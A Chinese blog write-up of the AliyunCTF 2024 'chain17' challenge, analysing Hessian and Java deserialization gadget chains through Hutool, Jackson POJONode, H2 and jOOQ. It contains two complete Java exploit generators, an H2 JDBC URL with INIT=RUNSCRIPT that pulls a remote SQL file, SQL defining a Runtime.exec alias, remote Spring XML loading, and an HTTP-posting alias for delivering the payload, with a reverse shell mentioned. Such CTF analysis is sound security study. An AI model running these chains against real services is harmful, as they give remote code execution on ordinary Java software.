chain17

AliyunCTF2024 –chain17

前言

W&M和V&N的各位爷太强了,web都AK了

随着偶像Boogipop和各位web✌解出chain17,web也随之被AK

那我们来看看这个chain17

主要是其他的写不来一点

基本信息

题目有agent.jar和server.jar,说明我们要先打下agent端,再打server端

agent

image-20240327233716497

这说明这个包下肯定有类要进行调用

image-20240327224147573

image-20240327233651432

image-20240327233745619

server

image-20240327233844764

agent

image-20240327223807049

路由只有一个hessian反序列化的入口

并且这个hessian依赖中好像并没有toString的那个CVE

刚开始大佬们因为对这些依赖都不太熟悉,所以有点走偏,提示出来之后就顺畅很多

image-20240327231556761

其实当时看协作文档我也没看出什么所以然,以至于给出这个提示我也看不懂

赛后也是结合各个wp进行分析,没人教实在太痛苦了,花了好几天才理解(呜呜呜

首先因为入口是Hessian2Input.readObject,所以当我们序列化一个Map的子类

反序列化必定经过MapDeserializermap.put

image-20240327235649393

我们只需要找到一个Map的子类进行利用

image-20240327235050085

在进行map.put之前,会多次经过下面这个方法中获取黑名单,并依次检查new的类、他们的所有父类以及他们的接口是否在黑名单中

image-20240327233315089

然后JSONObject.put跟进到

image-20240328001435089

image-20240328001457614

我试了下直接放入POJONode,但他不是jdk内部类,就进不到这里

然后就找到AtomicReference

image-20240328002241223

接着到String类下的valueOf

image-20240328002342143

控制obj为POJONode即可

image-20240328003923405

也就是控制AtomicReferencevalue属性为PojoNode

接下来肯定就是调用Bean的getObject

image-20240328004154396

然后大佬的思路就是给出了h2的依赖肯定有用,那就去找getter打jdbc

这里我猜测一下大佬的思路,应该是去找DriverManager.getConnection

image-20240328010952144

发现在这个函数有使用

image-20240328011032467

发现能跟进

image-20240328011108004

发现有两处

image-20240328011126656

其实这两处都差不多,调用谁的关键在于initialSize,设置initialSize大于等于1就走第一处,不设置只能走第二处

这里先介绍第一处

设置initialSize大于等于1

image-20240328015415706

image-20240328015721833

跟过去

image-20240328015841266

不断往上跟

我们可以跟到DSFactorygetDataSource()

但他是抽象类,我们实例化他的实现类即可,即PooledDSFactory

感觉很神奇的东西

各个WP的调用栈都是这样

Bean.getObject -> PooledDSFactory.getDataSource

实现的话就把准备好的PooledDSFactory对象序列化后放入Bean的data去反序列化

image-20240328010307571

我很奇怪这样的写法,于是我跟着下断点看看,发现一个神奇的东西

image-20240328022847362

这里是pojonode执行getter的地方,这里能获取返回值

按照WP的写法,我们能获取到我们准备的PooledDSFactory对象

然后走到下面

image-20240328023756136

我们发现他会再次进入BeanSerializerserialize方法 !!!!!!

这是pojonode获取所有getter并执行的其中一步

果不其然,在执行getter的前一步,我们发现他已经获取到了PooledDSFactory所有的getterimage-20240328024134950

先执行getSetting,再在执行getDataSource

执行getDataSource的调用栈

image-20240328024424590

成功拼接

第二处

就是不设置initialSize大于等于1

这里我就直接用PooledDSFactory分析下去

不设置的话也会经过这里

image-20240328025158205

但是不会进入newConnection

然后就返回一个实例化的PooledDataSource

image-20240328025247446

然后继续返回一个DataSourceWrapper对象

image-20240328025427495

image-20240328025513111

然后就是我所说的很神奇的东西,会返回执行完getter的值

image-20240328025649263

那这里就会继续获取DataSourceWrapper的所有getter并执行

image-20240328025805202

我们要的是getConnection

image-20240328030005111

image-20240328030159997

这两处都差不多,还是第一处方便一点

payload实现的赋值细节

image-20240328031156435

image-20240328031222354

dsMap要赋值,不赋值过不了

image-20240328031313114

不太理解的就是这个raw

打h2数据库

h2数据库在初始化或能控制jdbc的情况下,能够init runscript执行sql文件

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')

改为反弹shell拿下agent端

poc

import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.alibaba.com.caucho.hessian.io.SerializerFactory;
import com.fasterxml.jackson.databind.node.POJONode;
import com.aliyunctf.agent.other.Bean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.concurrent.atomic.AtomicReference;

public class WM_agent {
    public static void main(String[] args) throws Exception {

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        String url="jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";
        PooledDSFactory pooledDSFactory = createWithoutConstructor(PooledDSFactory.class);

        Setting setting = new Setting();
        setting.setCharset(null);
        setting.set("url",url);
        setting.put("initialSize", "1");
        setFieldValue(pooledDSFactory,"setting",setting);

        HashMap<Object, Object> dsmap = new HashMap<>();
        dsmap.put("",null);
//        setFieldValue(pooledDSFactory,"dsMap",dsmap);
        setFieldValue(pooledDSFactory,"dsMap",new SafeConcurrentHashMap<>());

        Bean bean = new Bean();
        ByteArrayOutputStream baos2 = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos2);
        oos.writeObject(pooledDSFactory);
        oos.close();
        bean.setData(baos2.toByteArray());

        POJONode jsonNodes = new POJONode(bean);

        AtomicReference atomicReference = new AtomicReference("poc");
        JSONObject jsonObject = new JSONObject();
        //innermap
        HashMap<Object, Object> innermap = new HashMap<>();
        setFieldValue(innermap, "size", 1);


        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, "manqiu",atomicReference, null));

        setFieldValue(innermap, "table", tbl);
        setFieldValue(jsonObject,"raw",innermap);
        setFieldValue(atomicReference,"value",jsonNodes);



        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        out.setSerializerFactory(new SerializerFactory());
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonObject);
        out.flushBuffer();
        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(base64String);
        byte[] data = Base64.getDecoder().decode(base64String);
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        Object object = hessian2Input.readObject();
        System.out.println(object.getClass());
    }

    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        } catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }


    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.setAccessible(true);
        if(field != null) {
            field.set(obj, value);
        }
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
}

server

只有一个jooq依赖,只需要在其中找到getter进行利用即可

unknown学的codeql好像帮了Boogipop大佬很多忙,太强了

目标是ConvertedValgetValue

但并不是直接在getValue中,要跟进函数

image-20240328113049469

看到这个我们很容易想到ClassPathXmlApplicationContext加载恶意xml文件

我们只需要等到获取参数类型为String的构造器即可

那如何控制这个toClass呢

调用栈往前找到

image-20240328122110209

image-20240328122138395

获取DefaultDataType的uType

可以直接用DefaultDataType,也可以用他的子类

image-20240328122425949

官方使用的是TableDataType

poc

import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;

// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {

    public static void main(String[] args) throws Exception {
        gen("http://localhost:8000/poc.xml");
    }

    public static void gen(String url) throws Exception{
        Class clazz1 = Class.forName("org.jooq.impl.Dual");
        Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
        constructor1.setAccessible(true);
        Object table = constructor1.newInstance();

        Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
        Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
        constructor2.setAccessible(true);
        Object tableDataType = constructor2.newInstance(table);

        Class clazz3 = Class.forName("org.jooq.impl.Val");
        Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
        constructor3.setAccessible(true);
        Object val = constructor3.newInstance("whatever", tableDataType, false);

        Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
        Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
        constructor4.setAccessible(true);
        Object convertedVal = constructor4.newInstance(val, tableDataType);

        Object value = url;
        Class type = ClassPathXmlApplicationContext.class;

        ReflectUtil.setFieldValue(val, "value", value);
        ReflectUtil.setFieldValue(tableDataType, "uType", type);

        ClassPool classPool = ClassPool.getDefault();
        CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
        ctClass.removeMethod(ctMethod);
        ctClass.toClass();

        POJONode pojoNode = new POJONode(convertedVal);

        EventListenerList eventListenerList = new EventListenerList();
        UndoManager undoManager = new UndoManager();
        Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
        vector.add(pojoNode);
        ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

        byte[] data = SerializeUtil.serialize(eventListenerList);

        System.out.println(Base64.getEncoder().encodeToString(data));
    }

}

准备恶意xml反弹shell即可

如何发送payload到server

Boogipop佬拿到agent的shell后发现没有curl,然后开始想办法,虽然我不知道他是咋实现的

官方WP是在恶意sql文件中写了一个请求的函数

create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', '<这里填打 server 的 base64 payload>')

复现

遇到个问题,放入payload会报错

image-20240328180739337

在前面加个字符就能加载。。。。。

image-20240328180746248

玄学

image-20240328153704714

finally

都是自己根据WP分析的原理,也仅仅如此,没有什么其他说法

那文章虽然结束,但这题还不能结束,还得去找大佬还原做题时的情景,掌握做题技巧,以及那个codeql是咋找到getValue

脑子太愚钝了,看了好几天,虽然也有题目很难的原因,但主要还是自己不知道如何去调试,如何去分析

reference

https://xz.aliyun.com/t/14190

2024 AliyunCTF 部分题解 - S1uM4i

AliYunCTF By W&M x V&N - W&M Team (wm-team.cn)


chain17
https://zer0peach.github.io/2024/03/27/chain17/
作者
Zer0peach
发布于
2024年3月27日
许可协议